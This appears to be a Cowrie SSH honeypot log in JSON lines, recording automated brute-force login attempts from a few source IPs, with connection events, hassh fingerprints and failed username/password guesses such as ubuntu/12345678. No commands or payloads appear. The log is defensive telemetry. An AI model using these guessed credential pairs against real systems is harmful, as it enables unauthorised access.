{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:49.633907Z","src_ip":"8.219.200.1","session":"6cad7e1908b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123321","message":"login attempt [www/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:50.571802Z","src_ip":"91.92.42.227","session":"2cde945e9b17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:52.213115Z","src_ip":"91.92.42.227","session":"2cde945e9b17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":35714,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a27db9ad885","protocol":"ssh","message":"New connection: 45.156.87.147:35714 (10.17.0.5:22) [session: 6a27db9ad885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:53.528591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:53.532569Z","src_ip":"45.156.87.147","session":"6a27db9ad885","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:53.613879Z","src_ip":"45.156.87.147","session":"6a27db9ad885","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jakob","password":"jakob","message":"login attempt [jakob/jakob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:54.004919Z","src_ip":"45.156.87.147","session":"6a27db9ad885","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":40472,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d8a29c41b3e","protocol":"ssh","message":"New connection: 91.92.42.227:40472 (10.17.0.5:22) [session: 2d8a29c41b3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:54.223382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:54.799943Z","src_ip":"91.92.42.227","session":"2d8a29c41b3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:54.825092Z","src_ip":"91.92.42.227","session":"2d8a29c41b3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:55.089861Z","src_ip":"45.156.87.147","session":"6a27db9ad885","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osmc","password":"osmc","message":"login attempt [osmc/osmc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:57.536578Z","src_ip":"91.92.42.227","session":"2d8a29c41b3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:58.883973Z","src_ip":"91.92.42.227","session":"2d8a29c41b3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":35728,"dst_ip":"10.17.0.5","dst_port":22,"session":"b47150e1073e","protocol":"ssh","message":"New connection: 45.156.87.147:35728 (10.17.0.5:22) [session: b47150e1073e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:59.042840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:59.046610Z","src_ip":"45.156.87.147","session":"b47150e1073e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:59.130447Z","src_ip":"45.156.87.147","session":"b47150e1073e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345","message":"login attempt [user1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:59.384651Z","src_ip":"45.156.87.147","session":"b47150e1073e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:00.469221Z","src_ip":"45.156.87.147","session":"b47150e1073e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":48266,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3d1338f8d57","protocol":"ssh","message":"New connection: 91.92.42.227:48266 (10.17.0.5:22) [session: d3d1338f8d57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:01.612611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:02.225255Z","src_ip":"91.92.42.227","session":"d3d1338f8d57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:02.229083Z","src_ip":"91.92.42.227","session":"d3d1338f8d57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webmaster","password":"webmaster","message":"login attempt [webmaster/webmaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:03.894839Z","src_ip":"91.92.42.227","session":"d3d1338f8d57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":39768,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0cb2fffab2a","protocol":"ssh","message":"New connection: 45.156.87.147:39768 (10.17.0.5:22) [session: d0cb2fffab2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:04.478060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:04.483342Z","src_ip":"45.156.87.147","session":"d0cb2fffab2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:04.565866Z","src_ip":"45.156.87.147","session":"d0cb2fffab2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wso2","password":"wso2","message":"login attempt [wso2/wso2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:04.817915Z","src_ip":"45.156.87.147","session":"d0cb2fffab2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:05.334270Z","src_ip":"91.92.42.227","session":"d3d1338f8d57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:05.915158Z","src_ip":"45.156.87.147","session":"d0cb2fffab2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":35500,"dst_ip":"10.17.0.5","dst_port":22,"session":"72c47235a387","protocol":"ssh","message":"New connection: 91.92.42.227:35500 (10.17.0.5:22) [session: 72c47235a387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:07.970410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:08.448395Z","src_ip":"91.92.42.227","session":"72c47235a387","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:08.451655Z","src_ip":"91.92.42.227","session":"72c47235a387","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":39134,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ab5e0bac38d","protocol":"ssh","message":"New connection: 45.156.87.147:39134 (10.17.0.5:22) [session: 8ab5e0bac38d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:09.990118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:09.994161Z","src_ip":"45.156.87.147","session":"8ab5e0bac38d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:10.076783Z","src_ip":"45.156.87.147","session":"8ab5e0bac38d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":49192,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ec80f5e6d10","protocol":"ssh","message":"New connection: 80.94.92.184:49192 (159.203.135.109:22) [session: 5ec80f5e6d10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:10.084465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:10.251460Z","src_ip":"80.94.92.184","session":"5ec80f5e6d10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:10.435780Z","src_ip":"45.156.87.147","session":"8ab5e0bac38d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator2026","message":"login attempt [operator/operator2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:10.485031Z","src_ip":"91.92.42.227","session":"72c47235a387","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:10.619203Z","src_ip":"80.94.92.184","session":"5ec80f5e6d10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:11.520524Z","src_ip":"45.156.87.147","session":"8ab5e0bac38d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123321","message":"login attempt [solv/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:12.072512Z","src_ip":"80.94.92.184","session":"5ec80f5e6d10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:12.227354Z","src_ip":"91.92.42.227","session":"72c47235a387","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:13.542812Z","src_ip":"80.94.92.184","session":"5ec80f5e6d10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":57290,"dst_ip":"10.17.0.5","dst_port":22,"session":"1da546ccbe5e","protocol":"ssh","message":"New connection: 91.92.42.227:57290 (10.17.0.5:22) [session: 1da546ccbe5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:14.629327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:15.117022Z","src_ip":"91.92.42.227","session":"1da546ccbe5e","protocol":"ssh"}
